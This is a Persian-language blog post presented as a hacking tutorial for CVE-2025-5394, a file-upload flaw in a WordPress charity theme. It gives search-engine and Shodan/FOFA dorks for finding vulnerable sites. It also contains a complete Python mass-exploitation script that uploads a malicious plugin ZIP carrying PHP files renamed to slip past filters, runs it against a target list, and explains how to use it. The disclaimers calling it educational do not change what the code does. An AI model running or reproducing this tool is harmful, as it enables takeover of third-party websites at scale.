اموزش هک سایت با آسیب‌پذیری: CVE-2025-5394

itachi
1404.06.25
61 بازدید
زمان مورد نیاز برای مطالعه: 0 دقیقه

مقدمه

CVE-2025-5394 یک آسیب‌پذیری امنیتی است که در تم وردپرس با نام “Alone – Charity Multipurpose Non-profit WordPress Theme” شناسایی شده است. این CVE در سال 2025 منتشر شد و به دلیل عدم بررسی قابلیت‌های لازم، اجازه آپلود فایل‌های دلخواه را به کاربران غیرمجاز می‌دهد. این آسیب‌پذیری می‌تواند منجر به دسترسی غیرمجاز به سرور شود و سایت‌های وردپرسی را در معرض خطر قرار دهد. طبق گزارش‌ها، این CVE از نوع آپلود فایل دلخواه (Arbitrary File Upload) است و نسخه‌های پیش از 7.8.5 را تحت تأثیر قرار می‌دهد. این مقاله به بررسی جزئیات، راه‌های کشف و روش‌های اکسپلویت این آسیب‌پذیری می‌پردازد، با تمرکز بر جنبه‌های آموزشی و بدون ارائه جزئیات عملی که بتوان مستقیماً استفاده کرد. همچنین، دورک‌های جستجو برای موتورهای مختلف جستجوگر بررسی می‌شود تا نحوه شناسایی سایت‌های احتمالی آسیب‌پذیر توضیح داده شود.

جزئیات آسیب‌پذیری

این CVE ناشی از یک نقص در بررسی مجوزها (Missing Capability Check) در فرآیند نصب پلاگین‌ها است. تم Alone برای سایت‌های خیریه و غیرانتفاعی طراحی شده و به کاربران اجازه می‌دهد فایل‌های ZIP را آپلود کنند که سپس به طور خودکار استخراج می‌شوند. بدون بررسی مناسب، این فرآیند می‌تواند توسط افراد غیرمجاز بهره‌برداری شود و فایل‌های مخرب را در دایرکتوری wp-content/plugins قرار دهد. طبق ارزیابی‌ها، این آسیب‌پذیری تأثیر بالایی دارد و می‌تواند به کنترل کامل سایت منجر شود، به ویژه اگر فایل‌های آپلود شده شامل کدهای مخرب باشند. گزارش‌های اولیه نشان می‌دهد که این مشکل در ماه می 2025 کشف شد و در جولای همان سال منتشر گردید.

راه‌های کشف آسیب‌پذیری

کشف چنین آسیب‌پذیری‌هایی معمولاً از طریق روش‌های تحقیقاتی امنیتی انجام می‌شود. در مورد CVE-2025-5394، محققان امنیتی احتمالاً با بررسی کد منبع تم شروع کردند. این شامل تحلیل فایل‌های PHP تم برای شناسایی نقاطی است که مجوزها بررسی نمی‌شوند، مانند توابع مرتبط با آپلود و استخراج فایل‌ها. روش‌های رایج کشف عبارتند از:

بررسی دستی کد (Code Review): محققان کد تم را دانلود کرده و به دنبال نقاط ضعف در کنترل دسترسی می‌گردند. برای مثال، چک نکردن نقش کاربر (مانند admin) در توابع آپلود.

تست نفوذ (Penetration Testing): استفاده از ابزارهای اتوماتیک برای شبیه‌سازی حملات، مانند ارسال درخواست‌های HTTP برای آپلود فایل بدون مجوز. این روش می‌تواند نقاط ضعف را در محیط آزمایشی شناسایی کند.

گزارش‌های عمومی و اسکنرها: ابزارهایی مانند vulnerability scanners (مثل Nessus یا OpenVAS) می‌توانند تم‌های وردپرس را اسکن کنند و چنین نقص‌هایی را تشخیص دهند. در این مورد، گزارش اولیه از طریق یک submission امنیتی در ماه می 2025 انجام شد.

این روش‌ها بر پایه دانش امنیتی پایه‌ای هستند و نیاز به دسترسی قانونی به کد منبع دارند، نه برای اهداف مخرب.

راه‌های اکسپلویت آسیب‌پذیری

اکسپلویت این CVE به طور کلی شامل سوءاستفاده از عدم بررسی مجوزها برای آپلود فایل‌های مخرب است. در سطح بالا، مهاجمان می‌توانند از طریق رابط کاربری تم، فایل ZIP حاوی کدهای مخرب (مانند شل PHP) را ارسال کنند. این فایل سپس استخراج شده و در دایرکتوری پلاگین‌ها قرار می‌گیرد، که می‌تواند منجر به اجرای کد از راه دور شود. گزارش‌ها نشان می‌دهد که بیش از 120,000 تلاش برای اکسپلویت این آسیب‌پذیری مسدود شده است، که نشان‌دهنده فعالیت گسترده هکرها است.

روش‌های کلی اکسپلویت عبارتند از:

آپلود فایل از راه دور: مهاجمان درخواست‌های POST را برای آپلود فایل ZIP ارسال می‌کنند. اگر سرور آسیب‌پذیر باشد، فایل بدون نیاز به لاگین استخراج می‌شود و کنترل سایت را ممکن می‌سازد.

ترکیب با دیگر آسیب‌پذیری‌ها: گاهی اوقات، این CVE با حملات دیگر مانند تزریق SQL یا XSS ترکیب می‌شود تا دسترسی اولیه کسب شود، اما تمرکز اصلی روی آپلود مستقیم است.

توجه: این توضیحات فقط برای درک مفهومی است و هیچ جزئیات فنی عملی ارائه نمی‌شود، زیرا استفاده غیرقانونی از چنین دانشی ممنوع است. همیشه از ابزارهای قانونی برای تست استفاده کنید.

دورک‌های جستجو برای موتورهای جستجوگر مختلف

دورک‌ها (Dorks) عبارات جستجوی پیشرفته‌ای هستند که برای شناسایی سایت‌های احتمالی آسیب‌پذیر در موتورهای جستجو استفاده می‌شوند. این دورک‌ها می‌توانند برای پیدا کردن سایت‌هایی که از تم Alone استفاده می‌کنند یا نشانه‌هایی از آسیب‌پذیری آپلود فایل نشان می‌دهند، مفید باشند. در ادامه، مثال‌های high-level برای موتورهای مختلف آورده شده است، بر اساس تکنیک‌های عمومی جستجو. این دورک‌ها برای اهداف آموزشی هستند و نباید برای فعالیت‌های غیرقانونی استفاده شوند.

دورک‌ها برای گوگل (Google Dorks)

گوگل از عملگرهایی مانند inurl، intitle، filetype و غیره پشتیبانی می‌کند. مثال‌ها:

inurl:”wp-content/themes/alone/” – برای پیدا کردن سایت‌هایی که دایرکتوری تم Alone را افشا کرده‌اند.

intitle:”Index of /wp-content/plugins” filetype:zip inurl:alone – برای جستجوی دایرکتوری‌های باز که فایل‌های ZIP مرتبط با پلاگین‌ها در تم Alone را نشان می‌دهند.

“Powered by Alone theme” inurl:wp-admin – برای شناسایی سایت‌هایی که از تم استفاده می‌کنند و ممکن است پنل ادمین افشا شده داشته باشند.

“upload_image.php” inurl:alone – برای جستجوی صفحات آپلود مرتبط با تم.

دورک‌ها برای بینگ (Bing Dorks)

بینگ عملگرهای مشابهی دارد، اما syntax کمی متفاوت است مانند urlcontains یا contains:

urlcontains:”wp-content/themes/alone/” – مشابه inurl در گوگل، برای پیدا کردن مسیرهای تم.

contains:”Arbitrary File Upload” site:wordpress.org inurl:alone – برای جستجوی محتوای مرتبط با آسیب‌پذیری در سایت‌های خاص وردپرس با تم Alone.

filetype:php inurl:upload.php “alone theme” – برای فایل‌های PHP مرتبط با آپلود در تم.

دورک‌ها برای داک‌داک‌گو (DuckDuckGo Dorks)

داک‌داک‌گو از عملگرهای پایه‌ای گوگل پشتیبانی می‌کند، اما محدودتر:

inurl:”alone/import-pack” – برای جستجوی مسیرهای مرتبط با واردات پک در تم.

“vulnerable Alone theme” filetype:pdf – برای گزارش‌های PDF درباره آسیب‌پذیری.

دورک‌ها برای یاندکس (Yandex Dorks)

یاندکس از عملگرهای مانند url: یا mime: استفاده می‌کند:

url:*/wp-content/themes/alone/ – برای سایت‌هایی با مسیر تم.

mime:php text:”beplus_import_pack_install_plugin” – برای جستجوی کدهای مرتبط با تابع آسیب‌پذیر.

دورک‌ها برای شادان (Shodan Dorks)

شادان برای جستجوی دستگاه‌های اینترنت اشیا و سرورها مناسب است:

http.component:”WordPress” “Alone theme” – برای سرورهایی که از وردپرس و تم Alone استفاده می‌کنند.

port:80 “X-Powered-By: PHP” inurl:alone vuln:”CVE-2025-5394″ – برای شناسایی سرورهای PHP با مسیر تم و آسیب‌پذیری خاص.

os:”Linux” http.html:”wp-content/themes/alone” – برای سیستم‌های لینوکسی با نشانه‌های تم Alone.

دورک‌ها برای فوف (FOFA Dorks)

فوف از syntax مشابه گوگل استفاده می‌کند اما بر روی body، header و title تمرکز دارد. مثال‌ها:

body=”/wp-content/themes/alone/” – برای پیدا کردن صفحاتی که محتوای تم Alone را در body دارند.

title=”Alone” && body=”wp-content/themes” – برای سایت‌هایی با عنوان مرتبط و محتوای تم.

header=”WordPress” && body=”charity theme alone” – برای هدرهای وردپرس با نشانه‌های تم خیریه Alone.

app=”WordPress” && body=”import-pack” – برای اپلیکیشن‌های وردپرس با مسیرهای واردات پک آسیب‌پذیر.

دورک‌ها برای زوم‌آی (ZoomEye Dorks)

زوم‌آی از عملگرهای مشابه فوف و شادان استفاده می‌کند، با تمرکز بر assetهای شبکه:

app:WordPress && body:”/wp-content/themes/alone/” – برای دارایی‌های وردپرس با محتوای تم Alone.

site:wordpress.org && title:”Alone theme” – برای سایت‌های وردپرس با عنوان تم.

header:”PHP” && body:”beplus_import_pack_install_plugin” – برای هدرهای PHP با کدهای مرتبط با تابع آسیب‌پذیر.

os:linux && port:80 && body:”charity multipurpose” – برای سرورهای لینوکسی با پورت 80 و محتوای تم.

دورک‌ها برای پابلیک‌دابلیو‌دابلیو (PublicWWW Dorks)

پابلیک‌دابلیو‌دابلیو برای جستجوی کدهای HTML/JS در سایت‌ها استفاده می‌شود:

publicwww-query: “/wp-content/themes/alone/” – برای سایت‌هایی که این مسیر را در کد دارند.

publicwww-query: “Alone – Charity Multipurpose” – برای نشانه‌های متنی تم در صفحات.

publicwww-query: “beplus_import_pack_install_plugin” – برای کدهای مرتبط با تابع آسیب‌پذیر آپلود.

publicwww-query: “wp-content/plugins” && “alone theme” – برای ترکیب با دایرکتوری پلاگین‌ها.

این دورک‌ها می‌توانند با ترکیب عملگرها (مانند AND/OR) سفارشی شوند، اما همیشه برای اهداف قانونی مانند تحقیق امنیتی استفاده شوند.

ابزاری برایه اکسپلویت این اسیب پذیری

				
					import aiohttp
import asyncio
import json
import logging
import argparse
import zipfile
import os
import shutil
import tempfile
from tqdm import tqdm
from datetime import datetime
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading
import socket

PLUGIN_SLUG = ""
TARGET_FILE = ""
RESULT_FILE = "result.txt"
MAX_CONCURRENT = 50
PHP_DIR = "home"
ZIP_FILE = "malicious_plugin.zip"
LOCAL_HOST = "127.0.0.1"
LOCAL_PORT = 8000
ZIP_URL = f"http://{LOCAL_HOST}:{LOCAL_PORT}/{ZIP_FILE}"

lock = asyncio.Lock()
success_list = []

logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
logger = logging.getLogger(__name__)

BYPASS_EXTENSIONS = [
    '.php', '.php2', '.php3', '.php4', '.php5', '.php6', '.php7', '.phps', '.pht', '.phtm', '.phtml', '.pgif', '.shtml', '.htaccess', '.phar', '.inc', '.hphp', '.ctp', '.module',
    '.asp', '.aspx', '.config', '.ashx', '.asmx', '.aspq', '.axd', '.cshtm', '.cshtml', '.rem', '.soap', '.vbhtm', '.vbhtml', '.asa', '.cer', '.shtml',
    '.jsp', '.jspx', '.jsw', '.jsv', '.jspf', '.wss', '.do', '.action',
    '.cfm', '.cfml', '.cfc', '.dbm',
    '.swf',
    '.pl', '.cgi',
    '.yaws'
]

PHPV8_EXTS = ['.php', '.php4', '.php5', '.phtml', '.module', '.inc', '.hphp', '.ctp']

VALID_PREPEND_EXTS = ['.png', '.jpg', '.gif', '.jpeg', '.txt']
SPECIAL_CHARS = ['%20', '%0a', '%00', '%0d%0a', '/', '.', '....']
JUNK_DATA = ['#', '%00', '\\x00', '%0a', '%0d%0a', 'Junk123']

def get_uppercase_variations(ext):
    return [ext.upper(), ext.lower(), ext.capitalize(), ext.swapcase()]

def generate_bypass_filenames(base_name):
    filenames = []
    for ext in BYPASS_EXTENSIONS + PHPV8_EXTS:
        filenames.append(base_name + ext)
        for var in get_uppercase_variations(ext):
            filenames.append(base_name + var)
    for valid in VALID_PREPEND_EXTS:
        for ext in BYPASS_EXTENSIONS:
            filenames.append(base_name + valid + ext)
            for var in get_uppercase_variations(ext):
                filenames.append(base_name + valid + var)
    for ext in BYPASS_EXTENSIONS:
        for char in SPECIAL_CHARS:
            filenames.append(base_name + ext + char)
    for valid in VALID_PREPEND_EXTS:
        for ext in BYPASS_EXTENSIONS:
            for junk in JUNK_DATA:
                filenames.append(base_name + ext + junk + valid)
                filenames.append(base_name + valid + ext)
                filenames.append(base_name + ext + '.' + valid)
    for valid1 in VALID_PREPEND_EXTS:
        for valid2 in VALID_PREPEND_EXTS:
            for ext in BYPASS_EXTENSIONS:
                filenames.append(base_name + valid1 + valid2 + ext)
                filenames.append(base_name + ext + '%00' + valid1 + '%00' + valid2)
    for valid in VALID_PREPEND_EXTS:
        for ext in BYPASS_EXTENSIONS:
            filenames.append(base_name + ext + valid)
    return list(set(filenames))

def create_plugin_zip(php_dir, zip_file):
    if os.path.exists(zip_file):
        os.remove(zip_file)
    with zipfile.ZipFile(zip_file, 'w') as zipf:
        plugin_header = "<?php\n/*\nPlugin Name: Malicious Plugin\nVersion: 1.0\n*/\n"
        zipf.writestr(f"{PLUGIN_SLUG}/{PLUGIN_SLUG}.php", plugin_header)
        for root, _, files in os.walk(php_dir):
            for file in files:
                if file.endswith('.php'):
                    file_path = os.path.join(root, file)
                    with open(file_path, 'rb') as f:
                        content = f.read()
                    base_name = os.path.relpath(file_path, php_dir).replace('.php', '').replace(os.sep, '/')
                    bypass_names = generate_bypass_filenames(base_name)
                    for bypass_name in bypass_names:
                        zip_path = f"{PLUGIN_SLUG}/{bypass_name}"
                        zipf.writestr(zip_path, content)
                        logger.info(f"Added {zip_path} to ZIP")

def start_local_server():
    def run_server():
        os.chdir(os.path.dirname(ZIP_FILE) or '.')
        handler = SimpleHTTPRequestHandler
        with HTTPServer((LOCAL_HOST, LOCAL_PORT), handler) as httpd:
            logger.info(f"Serving ZIP at {ZIP_URL}")
            httpd.serve_forever()
    server_thread = threading.Thread(target=run_server)
    server_thread.daemon = True
    server_thread.start()
    return server_thread

def parse_args():
    parser = argparse.ArgumentParser(description="WordPress Plugin Exploit Tool with Bypass")
    parser.add_argument("-f", "--file", required=True, help="File containing target URLs")
    parser.add_argument("-p", "--plugin", required=True, help="Plugin slug to exploit")
    parser.add_argument("-d", "--dir", default=PHP_DIR, help="Directory containing PHP files")
    parser.add_argument("-o", "--output", default=RESULT_FILE, help="Output file")
    parser.add_argument("--host", default=LOCAL_HOST, help="Local host IP")
    parser.add_argument("--port", type=int, default=LOCAL_PORT, help="Local port")
    return parser.parse_args()

async def exploit(target, session):
    if not target.startswith(("http://", "https://")):
        target = "https://" + target
    url = f"{target}/wp-admin/admin-ajax.php"
    data = {
        "action": "beplus_import_pack_install_plugin",
        "data[plugin_slug]": PLUGIN_SLUG,
        "data[plugin_source]": ZIP_URL
    }
    try:
        async with session.post(url, data=data, timeout=15) as response:
            status_code = response.status
            text = await response.text()
            if not text.strip():
                logger.warning(f"FAIL: {target} - Empty response")
                async with lock:
                    with open(RESULT_FILE, "a") as f:
                        f.write(json.dumps({
                            "target": target,
                            "status": "failed",
                            "http_status": status_code,
                            "error": "Empty response",
                            "timestamp": datetime.now().isoformat()
                        }) + "\n")
                return
            if status_code != 200:
                error_msg = {
                    403: "Forbidden",
                    404: "Not Found",
                    500: "Internal Server Error",
                    502: "Bad Gateway",
                    503: "Service Unavailable"
                }.get(status_code, f"HTTP Error {status_code}")
                logger.warning(f"FAIL: {target} - {error_msg} (HTTP {status_code})")
                async with lock:
                    with open(RESULT_FILE, "a") as f:
                        f.write(json.dumps({
                            "target": target,
                            "status": "failed",
                            "http_status": status_code,
                            "error": error_msg,
                            "timestamp": datetime.now().isoformat()
                        }) + "\n")
                return
            if '"success":true' in text and '"status":true' in text:
                async with lock:
                    success_list.append(target)
                    logger.info(f"SUCCESS: {target}")
                    with open(RESULT_FILE, "a") as f:
                        f.write(json.dumps({
                            "target": target,
                            "status": "success",
                            "http_status": status_code,
                            "response_snippet": text[:100],
                            "timestamp": datetime.now().isoformat()
                        }) + "\n")
            else:
                logger.warning(f"FAIL: {target} - No success indicators in response")
                async with lock:
                    with open(RESULT_FILE, "a") as f:
                        f.write(json.dumps({
                            "target": target,
                            "status": "failed",
                            "http_status": status_code,
                            "error": "No success indicators",
                            "timestamp": datetime.now().isoformat()
                        }) + "\n")
    except aiohttp.ClientConnectionError:
        logger.error(f"CONNECTION ERROR on {target}")
        async with lock:
            with open(RESULT_FILE, "a") as f:
                f.write(json.dumps({
                    "target": target,
                    "status": "failed",
                    "error": "Connection Error",
                    "timestamp": datetime.now().isoformat()
                }) + "\n")
    except asyncio.TimeoutError:
        logger.error(f"TIMEOUT on {target}")
        async with lock:
            with open(RESULT_FILE, "a") as f:
                f.write(json.dumps({
                    "target": target,
                    "status": "failed",
                    "error": "Timeout",
                    "timestamp": datetime.now().isoformat()
                }) + "\n")
    except Exception as e:
        logger.error(f"UNKNOWN ERROR on {target}: {e}")
        async with lock:
            with open(RESULT_FILE, "a") as f:
                f.write(json.dumps({
                    "target": target,
                    "status": "failed",
                    "error": f"Unknown Error: {str(e)}",
                    "timestamp": datetime.now().isoformat()
                }) + "\n")

def load_targets(filename):
    with open(filename, "r") as f:
        return [line.strip() for line in f if line.strip()]

async def main():
    global PLUGIN_SLUG, TARGET_FILE, RESULT_FILE, PHP_DIR, ZIP_FILE, ZIP_URL, LOCAL_HOST, LOCAL_PORT
    args = parse_args()
    PLUGIN_SLUG = args.plugin
    TARGET_FILE = args.file
    RESULT_FILE = args.output
    PHP_DIR = args.dir
    LOCAL_HOST = args.host
    LOCAL_PORT = args.port
    ZIP_URL = f"http://{LOCAL_HOST}:{LOCAL_PORT}/{os.path.basename(ZIP_FILE)}"
    create_plugin_zip(PHP_DIR, ZIP_FILE)
    server_thread = start_local_server()
    await asyncio.sleep(1)
    targets = load_targets(TARGET_FILE)
    open(RESULT_FILE, "w").close()
    sem = asyncio.Semaphore(MAX_CONCURRENT)
    async def sem_exploit(target, session):
        async with sem:
            await exploit(target, session)
    async with aiohttp.ClientSession() as session:
        tasks = [sem_exploit(target, session) for target in targets]
        for f in tqdm(asyncio.as_completed(tasks), total=len(targets), desc="Scanning"):
            await f
    logger.info(f"Done. {len(success_list)} site(s) exploited successfully. Saved to {RESULT_FILE}")

if __name__ == "__main__":
    asyncio.run(main()) 
				
			

آموزش کوتاه: استفاده از کد اکسپلویت برای CVE-2025-5394

این کد یک اسکریپت پایتون است که برای شبیه‌سازی اکسپلویت آسیب‌پذیری CVE-2025-5394 در تم وردپرس “Alone” طراحی شده است. این آسیب‌پذیری به دلیل امکان آپلود فایل‌های دلخواه (Arbitrary File Upload) ایجاد شده و این اسکریپت به صورت تئوری برای تست امنیتی در محیط‌های مجاز استفاده می‌شود. در ادامه، نحوه کارکرد و اجرای آن به صورت خلاصه توضیح داده شده است.

پیش‌نیازها

پایتون: نسخه 3.7 یا بالاتر.

کتابخانه‌ها: نصب aiohttp، tqdm و سایر ماژول‌های پیش‌فرض پایتون.

pip install aiohttp tqdm

فایل‌های مورد نیاز: یک فایل متنی حاوی URLهای هدف (مانند targets.txt) و یک دایرکتوری حاوی فایل‌های PHP مخرب (مانند home).

ساختار کد

تنظیمات اولیه:

متغیرهایی مانند PLUGIN_SLUG (اسلاگ پلاگین)، TARGET_FILE (فایل هدف)، و ZIP_FILE (فایل ZIP مخرب) تعریف شده‌اند.

یک سرور محلی با استفاده از SimpleHTTPRequestHandler برای میزبانی فایل ZIP راه‌اندازی می‌شود.

تولید فایل‌های دور زدن (Bypass):

تابع generate_bypass_filenames نام‌های فایل با پسوندهای مختلف (مانند .php, .phtml) و ترکیب‌های خاص (مانند %00, .jpg.php) تولید می‌کند تا فیلترهای امنیتی را دور بزند.

ساخت فایل ZIP:

تابع create_plugin_zip یک فایل ZIP حاوی پلاگین مخرب و نسخه‌های دور زده شده از فایل‌های PHP ایجاد می‌کند.

شروع سرور محلی:

سرور محلی روی 127.0.0.1:8000 اجرا می‌شود و فایل ZIP را میزبانی می‌کند.

اکسپلویت:

تابع exploit با استفاده از aiohttp درخواست POST به admin-ajax.php ارسال می‌کند و از اکشن beplus_import_pack_install_plugin برای آپلود فایل ZIP استفاده می‌کند.

پاسخ سرور بررسی می‌شود و در صورت موفقیت (وجود “success”:true و “status”:true)، هدف به لیست موفقیت‌ها اضافه می‌شود.

مدیریت چندنخی:

با استفاده از asyncio و Semaphore، حداکثر 50 درخواست همزمان انجام می‌شود تا از بارگذاری بیش از حد جلوگیری شود.

نحوه اجرا

تنظیم فایل‌ها:

یک فایل متنی (مثلاً targets.txt) با لیست URLها (مانند example.com) ایجاد کنید.

دایرکتوری home را با فایل‌های PHP مخرب پر کنید.

فایل ZIP مخرب را با نام malicious_plugin.zip مشخص کنید.

اجرای اسکریپت:

python script.py -f targets.txt -p malicious_plugin -d home -o result.txt

-f: فایل حاوی URLهای هدف.

-p: اسلاگ پلاگین (مثلاً malicious_plugin).

-d: دایرکتوری فایل‌های PHP.

-o: فایل خروجی نتایج.

نتیجه:

نتایج در فایل result.txt ذخیره می‌شود و شامل وضعیت موفقیت/شکست هر هدف است.

پیشرفت با استفاده از tqdm نمایش داده می‌شود.